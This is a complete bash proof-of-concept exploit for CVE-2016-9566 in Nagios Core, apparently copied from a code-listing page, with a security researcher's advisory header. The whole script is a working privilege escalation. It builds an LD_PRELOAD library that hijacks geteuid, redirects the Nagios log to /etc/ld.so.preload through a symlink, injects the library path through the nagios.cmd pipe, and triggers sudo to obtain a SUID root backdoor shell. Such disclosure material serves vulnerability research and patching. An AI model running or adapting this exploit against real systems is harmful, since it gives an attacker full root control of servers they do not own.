1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 |
#!/bin/bash # # Source: https://legalhackers.com/advisories/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html # # Nagios Core < 4.2.4Root Privilege Escalation PoC Exploit # nagios-root-privesc.sh (ver. 1.0) # # CVE-2016-9566 # # Discovered and coded by: # # Dawid Golunski # dawid[at]legalhackers.com # # https://legalhackers.com # # Follow https://twitter.com/dawid_golunski for updates on this advisory # # # [Info] # # This PoC exploit allows privilege escalation from 'nagios' system account, # or an account belonging to 'nagios' group, to root (root shell). # Attackers could obtain such an account via exploiting another vulnerability, # e.g. CVE-2016-9565 linked below. # # [Exploit usage] # # ./nagios-root-privesc.sh path_to_nagios.log # # # See the full advisory for details at: # https://legalhackers.com/advisories/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html # # Video PoC: # https://legalhackers.com/videos/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html # # CVE-2016-9565: # https://legalhackers.com/advisories/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html # # Disclaimer: # For testing purposes only. Do no harm. # BACKDOORSH="/bin/bash" BACKDOORPATH="/tmp/nagiosrootsh" PRIVESCLIB="/tmp/nagios_privesc_lib.so" PRIVESCSRC="/tmp/nagios_privesc_lib.c" SUIDBIN="/usr/bin/sudo" commandfile='/usr/local/nagios/var/rw/nagios.cmd' function cleanexit { # Cleanup echo -e "\n[+] Cleaning up..." rm -f $PRIVESCSRC rm -f $PRIVESCLIB rm -f $ERRORLOG touch $ERRORLOG if [ -f /etc/ld.so.preload ]; then echo -n > /etc/ld.so.preload fi echo -e "\n[+] Job done. Exiting with code $1 \n" exit $1 } function ctrl_c() { echo -e "\n[+] Ctrl+C pressed" cleanexit 0 } #intro echo -e "\033[94m \nNagios Core - Root Privilege Escalation PoC Exploit (CVE-2016-9566) \nnagios-root-privesc.sh (ver. 1.0)\n" echo -e "Discovered and coded by: \n\nDawid Golunski \nhttps://legalhackers.com \033[0m" # Priv check echo -e "\n[+] Starting the exploit as: \n\033[94m<code>id</code>\033[0m" id | grep -q nagios if [ $? -ne 0 ]; then echo -e "\n[!] You need to execute the exploit as 'nagios' user or 'nagios' group ! Exiting.\n" exit 3 fi # Set target paths ERRORLOG="$1" if [ ! -f "$ERRORLOG" ]; then echo -e "\n[!] Provided Nagios log path ($ERRORLOG) doesn't exist. Try again. E.g: \n" echo -e "./nagios-root-privesc.sh /usr/local/nagios/var/nagios.log\n" exit 3 fi # [ Exploitation ] trap ctrl_c INT # Compile privesc preload library echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)" cat <<_solibeof_>$PRIVESCSRC #define _GNU_SOURCE #include <stdio.h> #include <sys/stat.h> #include <unistd.h> #include <dlfcn.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> uid_t geteuid(void) { static uid_t(*old_geteuid)(); old_geteuid = dlsym(RTLD_NEXT, "geteuid"); if ( old_geteuid() == 0 ) { chown("$BACKDOORPATH", 0, 0); chmod("$BACKDOORPATH", 04777); unlink("/etc/ld.so.preload"); } return old_geteuid(); } _solibeof_ /bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl" if [ $? -ne 0 ]; then echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC." cleanexit 2; fi # Prepare backdoor shell cp $BACKDOORSH $BACKDOORPATH echo -e "\n[+] Backdoor/low-priv shell installed at: \n<code>ls -l $BACKDOORPATH</code>" # Safety check if [ -f /etc/ld.so.preload ]; then echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety." exit 2 fi # Symlink the Nagios log file rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG if [ $? -ne 0 ]; then echo -e "\n[!] Couldn't remove the $ERRORLOG file or create a symlink." cleanexit 3 fi echo -e "\n[+] The system appears to be exploitable (writable logdir) ! :) Symlink created at: \n<code>ls -l $ERRORLOG</code>" { # Wait for Nagios to get restarted echo -ne "\n[+] Waiting for Nagios service to get restarted...\n" echo -n "Do you want to shutdown the Nagios daemon to speed up the restart process? ;) [y/N] " read THE_ANSWER if [ "$THE_ANSWER" = "y" ]; then /usr/bin/printf "[%lu] SHUTDOWN_PROGRAM\n" <code>date +%s</code> > $commandfile fi sleep 3s ps aux | grep -v grep | grep -i 'bin/nagios' if [ $? -ne 0 ]; then echo -ne "\n[+] Nagios stopped. Shouldn't take long now... ;)\n" fi while :; do sleep 1 2>/dev/null if [ -f /etc/ld.so.preload ]; then rm -f $ERRORLOG break; fi done echo -e "\n[+] Nagios restarted. The /etc/ld.so.preload file got created with the privileges: \n<code>ls -l /etc/ld.so.preload</code>" # /etc/ld.so.preload should be owned by nagios:nagios at this point with perms: # -rw-r--r-- 1 nagios nagios # Only 'nagios' user can write to it, but 'nagios' group can not. # This is not ideal as in scenarios like CVE-2016-9565 we might be running as www-data:nagios user. # We can bypass the lack of write perm on /etc/ld.so.preload by writing to Nagios external command file/pipe # nagios.cmd, which is writable by 'nagios' group. We can use it to send a bogus command which will # inject the path to our privesc library into the nagios.log file (i.e. the ld.so.preload file :) sleep 3s # Wait for Nagios to create the nagios.cmd pipe if [ ! -p $commandfile ]; then echo -e "\n[!] Nagios command pipe $commandfile does not exist!" exit 2 fi echo -e "\n[+] Injecting $PRIVESCLIB via the pipe nagios.cmd to bypass lack of write perm on ld.so.preload" now=<code>date +%s /usr/bin/printf "[%lu] NAGIOS_GIVE_ME_ROOT_NOW!;; $PRIVESCLIB \n" $now > $commandfile sleep 1s grep -q "$PRIVESCLIB" /etc/ld.so.preload if [ $? -eq 0 ]; then echo -e "\n[+] The /etc/ld.so.preload file now contains: \n<code>cat /etc/ld.so.preload | grep "$PRIVESCLIB"</code>" else echo -e "\n[!] Unable to inject the lib to /etc/ld.so.preload" exit 2 fi } 2>/dev/null # Escalating privileges via the SUID binary (e.g. /usr/bin/sudo) echo -e "\n[+] Triggering privesc code from $PRIVESCLIB by executing $SUIDBIN SUID binary" sudo 2>/dev/null >/dev/null # Check for the rootshell ls -l $BACKDOORPATH | grep rws | grep -q root 2>/dev/null if [ $? -eq 0 ]; then echo -e "\n[+] Rootshell got assigned root SUID perms at: \n<code>ls -l $BACKDOORPATH</code>" echo -e "\n\033[94mGot root via Nagios!\033[0m" else echo -e "\n[!] Failed to get root: \n<code>ls -l $BACKDOORPATH</code>" cleanexit 2 fi # Use the rootshell to perform cleanup that requires root privileges $BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB" rm -f $ERRORLOG echo > $ERRORLOG # Execute the rootshell echo -e "\n[+] Nagios pwned. Spawning the rootshell $BACKDOORPATH now\n" $BACKDOORPATH -p -i # Job done. cleanexit 0 |